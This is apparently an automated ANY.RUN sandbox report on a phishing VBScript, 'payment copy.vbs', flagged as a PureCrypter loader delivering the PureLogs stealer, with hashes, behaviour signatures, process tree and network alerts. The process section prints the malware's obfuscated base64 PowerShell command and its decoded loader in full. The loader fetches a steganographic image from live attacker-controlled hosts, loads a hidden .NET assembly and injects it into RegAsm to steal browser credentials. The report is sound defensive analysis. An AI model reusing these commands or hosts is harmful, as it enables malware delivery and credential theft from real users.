File name:

payment copy.vbs

Full analysis: https://app.any.run/tasks/6805bb57-77ee-4799-b347-228b167a31ac
Verdict: Malicious activity
Threats:

First identified in March 2021, PureCrypter is a .NET-based loader that employs obfuscation techniques, such as SmartAssembly, to evade detection. It has been used to distribute malware families including AgentTesla, RedLine Stealer, and SnakeKeylogger. The malware is typically delivered through phishing campaigns and malicious downloads, often masquerading as legitimate files with extensions like .mp4 or .pdf. PureCrypter utilizes encryption and compression to conceal its payloads and can inject malicious code into legitimate processes to maintain persistence on the infected system.

Analysis date: February 10, 2025, 07:35:34
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
stegocampaign
susp-powershell
github
fody
purecrypter
purelogs
stealer
exfiltration
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

618AA0562BBE526AA23F657D9CBCAFAA

SHA1:

69B3B124A9294FB6FEFB66D316C8F06612CEB7D2

SHA256:

2C445E3134ED36B349EB9791CB83083D1BB72346BD48DD5C3D0C09776A9D586E

SSDEEP:

192:Z/Al2r+dG1bxKZAHJZtmjUSjjYOD+lCQrc7NF9Wu0MDxpnO/9URCy8:hEkxKcZt9qyav10MFpWURV8

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6512)
      • powershell.exe (PID: 6260)
    • Stego campaign has been detected

      • powershell.exe (PID: 6512)
    • Changes powershell execution policy

      • powershell.exe (PID: 6260)
      • wscript.exe (PID: 6204)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6512)
    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6512)
    • PURECRYPTER has been detected (SURICATA)

      • RegAsm.exe (PID: 6424)
    • PURELOGS has been detected (SURICATA)

      • RegAsm.exe (PID: 6424)
    • Scans artifacts that could help determine the target

      • RegAsm.exe (PID: 6424)
    • Actions looks like stealing of personal data

      • RegAsm.exe (PID: 6424)
    • Steals credentials from Web Browsers

      • RegAsm.exe (PID: 6424)
  • SUSPICIOUS

    • Accesses computer name via WMI (SCRIPT)

      • wscript.exe (PID: 6204)
    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 6260)
      • wscript.exe (PID: 6204)
    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6204)
    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 6204)
    • Application launched itself

      • powershell.exe (PID: 6260)
    • Probably download files using WebClient

      • powershell.exe (PID: 6260)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6260)
      • powershell.exe (PID: 6512)
    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 6512)
    • Connects to unusual port

      • RegAsm.exe (PID: 6424)
  • INFO

    • Reads the software policy settings

      • powershell.exe (PID: 6512)
    • Create files in a temporary directory

      • powershell.exe (PID: 6512)
    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 6260)
    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 6260)
    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6260)
    • Gets a random number, or selects objects randomly from a collection (POWERSHELL)

      • powershell.exe (PID: 6260)
    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 6260)
    • Found Base64 encoded network access via PowerShell (YARA)

      • powershell.exe (PID: 6260)
    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 6512)
    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6512)
    • Disables trace logs

      • powershell.exe (PID: 6512)
    • Checks proxy server information

      • powershell.exe (PID: 6512)
    • Detects Fody packer (YARA)

      • powershell.exe (PID: 6260)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6512)
    • Checks supported languages

      • RegAsm.exe (PID: 6424)
    • Reads the computer name

      • RegAsm.exe (PID: 6424)
    • Reads the machine GUID from the registry

      • RegAsm.exe (PID: 6424)
    • Reads Microsoft Office registry keys

      • RegAsm.exe (PID: 6424)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
134
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details

Process information

PID
CMD
Path
Indicators
Parent process
6204"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\payment copy.vbs"C:\Windows\System32\wscript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6260"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@Gw@aQBu@Gs@cw@g@D0@I@B@@Cg@JwBo@HQ@d@Bw@HM@Og@v@C8@YgBp@HQ@YgB1@GM@awBl@HQ@LgBv@HI@Zw@v@GM@YwBj@GM@YwBj@GM@YwBj@GM@YwBj@G4@bQBm@Gc@LwBn@HY@Z@Bm@Gg@Z@@v@GQ@bwB3@G4@b@Bv@GE@Z@Bz@C8@d@Bl@HM@d@@u@Go@c@Bn@D8@MQ@z@Dc@MQ@x@DM@Jw@s@C@@JwBo@HQ@d@Bw@HM@Og@v@C8@bwBm@Gk@YwBl@DM@Ng@1@C4@ZwBp@HQ@a@B1@GI@LgBp@G8@Lw@x@C8@d@Bl@HM@d@@u@Go@c@Bn@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@C@@PQ@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQ@g@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@YgBh@HM@ZQ@2@DQ@QwBv@G0@bQBh@G4@Z@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@UwB1@GI@cwB0@HI@aQBu@Gc@K@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@L@@g@CQ@YgBh@HM@ZQ@2@DQ@T@Bl@G4@ZwB0@Gg@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@d@Bl@Hg@d@@g@D0@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@7@C@@J@Bs@G8@YQBk@GU@Z@BB@HM@cwBl@G0@YgBs@Hk@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FI@ZQBm@Gw@ZQBj@HQ@aQBv@G4@LgBB@HM@cwBl@G0@YgBs@Hk@XQ@6@Do@T@Bv@GE@Z@@o@CQ@YwBv@G0@bQBh@G4@Z@BC@Hk@d@Bl@HM@KQ@7@C@@I@@k@EU@bgBj@G8@Z@Bl@GQ@V@Bl@Hg@d@@g@D0@WwBD@G8@bgB2@GU@cgB0@F0@Og@6@FQ@bwBC@GE@cwBl@DY@N@BT@HQ@cgBp@G4@Zw@o@CQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@RQBu@GM@bwBk@GU@Z@BU@GU@e@B0@C@@PQBb@EM@bwBu@HY@ZQBy@HQ@XQ@6@Do@V@Bv@EI@YQBz@GU@Ng@0@FM@d@By@Gk@bgBn@Cg@J@BC@Hk@d@Bl@HM@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@bQBl@HQ@a@Bv@GQ@I@@9@C@@J@B0@Hk@c@Bl@C4@RwBl@HQ@TQBl@HQ@a@Bv@GQ@K@@n@Gw@ZgBz@Gc@ZQBk@GQ@Z@Bk@GQ@Z@Bk@GE@Jw@p@C4@SQBu@HY@bwBr@GU@K@@k@G4@dQBs@Gw@L@@g@Fs@bwBi@Go@ZQBj@HQ@WwBd@F0@I@@o@Cc@d@B4@HQ@LgBt@G0@bgBT@Go@bgBh@C8@bgBp@GE@bQ@v@HM@Z@Bh@GU@a@@v@HM@ZgBl@HI@LwBh@HM@ZQBy@Go@Lw@z@DE@MgBl@Gk@a@Bj@Gk@cg@v@G0@bwBj@C4@d@Bu@GU@d@Bu@G8@YwBy@GU@cwB1@GI@dQBo@HQ@aQBn@C4@dwBh@HI@Lw@v@Do@cw@n@Cw@I@@n@D@@Jw@s@C@@JwBT@HQ@YQBy@HQ@dQBw@E4@YQBt@GU@Jw@s@C@@JwBS@GU@ZwBB@HM@bQ@n@Cw@I@@n@D@@Jw@p@Ck@fQB9@@==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -execC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exewscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6268\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6424"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
6428"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.8.9037.0 built by: NET481REL1
6512"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/ccccccccccccnmfg/gvdfhd/downloads/test.jpg?137113', 'https://ofice365.github.io/1/test.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.mmnSjna/niam/sdaeh/sfer/aserj/312eihcir/moc.tnetnocresubuhtig.war//:s', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -execC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
Total events
12 251
Read events
12 251
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
6260powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_odw2bacy.fuv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pdgkfgad.tgt.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6260powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1gpgypzi.kcv.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cbawrz4z.rss.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_h1gk2os3.bz5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5oqy4rrg.h35.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6512powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:58BFE8896AA1FDF45D99FD69FD45D3DA
SHA256:9E286E01CBE5C7D6F4BFE8857FA68EFEA7B5A96CE9A7889FFA91DC4188803C3F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
33
DNS requests
18
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
NL
binary
973 b
whitelisted
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
US
binary
313 b
whitelisted
1176
svchost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
US
binary
471 b
whitelisted
6976
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
DE
binary
419 b
whitelisted
6976
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
DE
binary
408 b
whitelisted
4136
backgroundTaskHost.exe
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
US
binary
471 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
whitelisted
4712
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2.21.65.132:443
www.bing.com
Akamai International B.V.
NL
whitelisted
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
1176
svchost.exe
20.190.159.23:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
184.28.89.167:443
go.microsoft.com
AKAMAI-AS
US
whitelisted
1076
svchost.exe
184.28.89.167:443
go.microsoft.com
AKAMAI-AS
US
whitelisted
5064
SearchApp.exe
2.21.65.140:443
www.bing.com
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
www.microsoft.com
  • 95.101.149.131
  • 23.35.229.160
whitelisted
www.bing.com
  • 2.21.65.132
  • 2.21.65.153
  • 2.21.65.154
  • 2.21.65.137
  • 2.21.65.146
  • 2.21.65.134
  • 2.21.65.157
  • 2.21.65.140
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
login.live.com
  • 20.190.159.23
  • 40.126.31.131
  • 20.190.159.73
  • 40.126.31.0
  • 40.126.31.69
  • 40.126.31.1
  • 20.190.159.2
  • 20.190.159.130
whitelisted
go.microsoft.com
  • 184.28.89.167
whitelisted
ofice365.github.io
  • 185.199.109.153
  • 185.199.111.153
  • 185.199.110.153
  • 185.199.108.153
unknown
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted
raw.githubusercontent.com
  • 185.199.111.133
  • 185.199.108.133
  • 185.199.109.133
  • 185.199.110.133
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Attempting to access raw user content on GitHub
6424
RegAsm.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 29
6424
RegAsm.exe
A Network Trojan was detected
LOADER [ANY.RUN] PureLogs Download Attempt (LOAD)
6424
RegAsm.exe
STEALER [ANY.RUN] PureLogs Stealer Exfiltration
6424
RegAsm.exe
A Network Trojan was detected
STEALER [ANY.RUN] PureLogs Stealer Exfiltration
No debug info